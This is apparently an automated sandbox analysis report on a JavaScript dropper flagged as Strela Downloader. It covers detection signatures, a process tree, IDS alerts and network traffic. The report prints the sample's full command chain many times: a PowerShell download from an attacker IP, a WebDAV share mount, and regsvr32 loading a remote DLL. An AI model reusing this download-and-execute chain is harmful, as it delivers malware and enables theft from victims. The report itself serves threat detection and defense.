Edit tour

Windows Analysis Report
2628895762659930884.js

Overview

General Information

Sample name:	2628895762659930884.js
Analysis ID:	1587939
MD5:	3336405bd98a38b5b648a8cf469b02ad
SHA1:	e106906476309138985ce4a1f624cbe0d8cda7d7
SHA256:	857e5ad6a6541d3255f6f2a1bb68e40937c0c8522e6f2aea4a1b67e286ce6117
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6700 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6884 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 7220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7048 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3636 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6784 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7192 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1700,i,17282002464671500914,13658577813215400129,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6096 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4192 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7096 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6700	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6884, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7048, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6884, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7048, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js", ProcessId: 6700, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4192, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6700, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, ProcessId: 6884, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6700, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, ProcessId: 6884, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6700, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, ProcessId: 6884, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6700, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, ProcessId: 6884, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6700, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, ProcessId: 6884, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js", ProcessId: 6700, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6884, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7048, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6096, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4192, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7096, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6096, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4192, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6700, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll, ProcessId: 6884, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:36:26.235441+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:36:24.081847+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2628895762659930884.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2628895762659930884.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:36:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

